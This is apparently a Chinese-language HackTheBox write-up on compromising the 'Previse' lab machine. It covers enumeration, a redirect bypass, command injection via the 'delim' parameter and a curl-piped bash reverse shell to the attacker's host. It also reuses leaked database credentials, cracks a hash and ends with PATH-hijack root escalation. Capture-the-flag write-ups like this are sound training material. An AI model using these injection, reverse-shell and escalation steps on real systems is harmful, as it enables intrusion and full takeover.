> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/previse-hackthebox-writeup.md).

# Previse HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/Previse>" %}

{% hint style="warning" %}
**技能：**

* Web 枚举
* 重定向后执行（EAR）漏洞 - 跳过重定向
* PHP 源代码分析
* 命令注入（RCE）
* 信息泄露
* 数据库枚举
* 破解哈希
* 滥用 sudoers 权限 + PATH 劫持（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/f03714e1f3bef1a00a22756f5231eebf5045b5d1" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/c20974f8f845daba46529371c7977d9c9c7bea4a" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.104 -oG allPorts
```

<figure><img src="/files/69b58beaa9106bc0ca720f342539ca6cdda36e7b" alt=""><figcaption></figcaption></figure>

**使用 Nmap 对 22、80 端口进行版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p22,80 10.10.11.104 -oN targeted
```

<figure><img src="/files/6112050f67ca50b47919b2a14d2177c9118762b9" alt=""><figcaption></figcaption></figure>

### 端口 80 - HTTP

我们找到一个需要用户名和密码的登录页面。

<figure><img src="/files/8d810dffd1b6e1e353fa7df58891bc8b2acaa04b" alt=""><figcaption></figcaption></figure>

### **对 PHP 目录和文件进行模糊测试**

鉴于存在一个 PHP 文件，很可能还有其他文件：

```bash
gobuster dir -u http://10.10.11.104/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php
```

## **漏洞 EAR（重定向后执行）- 跳过重定向**

我们找到几个包含内容但会重定向到登录页面的页面。

<figure><img src="/files/c1a96cfd2d807288c332c23a83412a2f8b254393" alt=""><figcaption></figcaption></figure>

我们在……处拦截请求 `nav.php` 使用 Burp Suite，并观察到一个 302 重定向。

<figure><img src="/files/5a0548645e4186fd99f9f717f543986f7a4b28bf" alt=""><figcaption></figcaption></figure>

通过将响应强制设为 `200 OK`，我们直接前往 `accounts` 页面。

<figure><img src="/files/fbba1d7acce428504041aba9481b0eaeb9e685a9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/06031b6cf5d6f6cd1234bf18cc687f9e1d626f1e" alt=""><figcaption></figcaption></figure>

我们在 Burp Suite 中创建一条规则，自动将 `302 Found` 响应改为 `200 OK`.

<figure><img src="/files/0a5c8ad837910cc8033be68d0456fce084dc230d" alt=""><figcaption></figcaption></figure>

然后我们创建一个用户 `jordan` 并登录。

<figure><img src="/files/cf1056269e6b23d174ec54aa1d6be729297f12d2" alt=""><figcaption></figcaption></figure>

### **恢复文件的分析**

我们下载了在……上找到的一个文件 `/files`:

<figure><img src="/files/0830afd3b827ae049dad9519cdc0c26ff623c778" alt=""><figcaption></figcaption></figure>

```bash
unzip siteBackup.zip
```

<figure><img src="/files/19c54d3aa90122f1de424295be2beec1c16ae14f" alt=""><figcaption></figcaption></figure>

我们找到几个 PHP 文件，并观察到 `logs.php` 使用了 `exec()` 函数而未进行任何验证：

```bash
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
```

<figure><img src="/files/64cf70000e03db0a64e698eb293158e1d2a379e6" alt=""><figcaption></figcaption></figure>

### **命令注入利用（RCE）**

<figure><img src="/files/4ea8d371d3eb5e9a05df491692cb829d8ac1a5d9" alt=""><figcaption></figcaption></figure>

我们拦截对 `file_logs.php` 并通过 `delim` 参数：

<pre class="language-bash"><code class="lang-bash"><strong>delim=comma;curl http://10.10.14.50
</strong></code></pre>

我们收到了一个连接。

<figure><img src="/files/64b21b05821ba5907b2f75578a42d842ea174700" alt=""><figcaption></figcaption></figure>

### 反向 Shell

我们创建一个 `index.html` 包含以下内容的文件：

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.50/443 0>&1
```

我们启动一个 Python Web 服务器：

```bash
python3 -m http.server 80
```

我们在本机 443 端口上监听：

```bash
nc -nlvp 443
```

我们运行以下命令来获取反向 shell：

```bash
;curl http://10.10.14.50  | bash
```

现在我们是用户 `www-data`.

<figure><img src="/files/3e4e94c919d02799f6919a759f7e63fd3641bf00" alt=""><figcaption></figcaption></figure>

#### **Shell 提升**

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### **权限提升**

### 切换到用户 m4lwhere

我们找到一个包含凭据的文件：

* $user : root
* $passwd : mySQL/\_p\@ssw0rd!:)

<figure><img src="/files/3a2c99ca2cdf2532e0527850d8e3109bda879dbd" alt=""><figcaption></figcaption></figure>

我们连接到 MySQL 数据库：

```sql
mysql -u root -p
```

我们列出数据库：

```sql
show databases;
```

我们找到数据库 `previse`，我们使用它：

```sql
use previse;
```

<figure><img src="/files/35106e709c041d11b1b42d6258671636ea2de5e7" alt=""><figcaption></figcaption></figure>

我们查看 `accounts` 表：

```sql
show tables;
describe accounts
```

<figure><img src="/files/216b603da2ad1ee50bae240e0a2f965299b5080a" alt=""><figcaption></figcaption></figure>

我们找到：

```sql
select username, password from accounts;
```

* 用户名：m4lwhere
* 密码：$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.

<figure><img src="/files/d024bd9c606a2627f33ca971bf28e1bfb009b563" alt="" width="563"><figcaption></figcaption></figure>

### **哈希破解**

我们使用 Hashcat 来破解它：

```bash
hashcat -a 0 -m 500 hash /usr/share/wordlists/rockyou.txt
```

找到的密码：

* 密码：ilovecody112235!

<figure><img src="/files/d413134a40418573b79395565694375c1013e0ac" alt=""><figcaption></figcaption></figure>

我们以 `m4lwhere`.

<figure><img src="/files/e2cc5b0b5017216c91e4ee32b058e944a57b7d71" alt=""><figcaption></figcaption></figure>

### user.txt 标志 :)

<figure><img src="/files/edbaed02eeddfccfc05c2f98e751f2a71bcf434d" alt="" width="563"><figcaption></figcaption></figure>

### **PATH 劫持（gzip）**

我们列出 sudo 权限：

```bash
sudo -l
```

我们找到一个可用 root 身份执行的脚本，使用 `gzip` 而没有使用绝对路径。

<figure><img src="/files/2255aacdd8703ee89e6a84232dd76b2d6be83965" alt=""><figcaption></figcaption></figure>

#### **创建恶意二进制文件**

我们创建一个恶意的 `gzip` 文件在 `/tmp/`:

```bash
chmod 4777 /bin/bash
```

我们修改 `PATH` 变量以优先处理 `/tmp/`:

```bash
export PATH=/tmp/:$PATH
```

<figure><img src="/files/4c5543ac398d9822e2c305d63a3bc706c2fc60a5" alt=""><figcaption></figcaption></figure>

我们以 root 身份运行该脚本：

```bash
sudo /opt/scripts/access_backup.sh
```

<figure><img src="/files/b06a2d5865311b54586e70b9d3b875af2de42b3d" alt=""><figcaption></figcaption></figure>

### root.txt flag :)

<figure><img src="/files/f69496df7b8d9f6360673b0b557da8b66339e91f" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/645904aa3150adc87cbb6a5e5c6bed23e4b88e1b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/previse-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
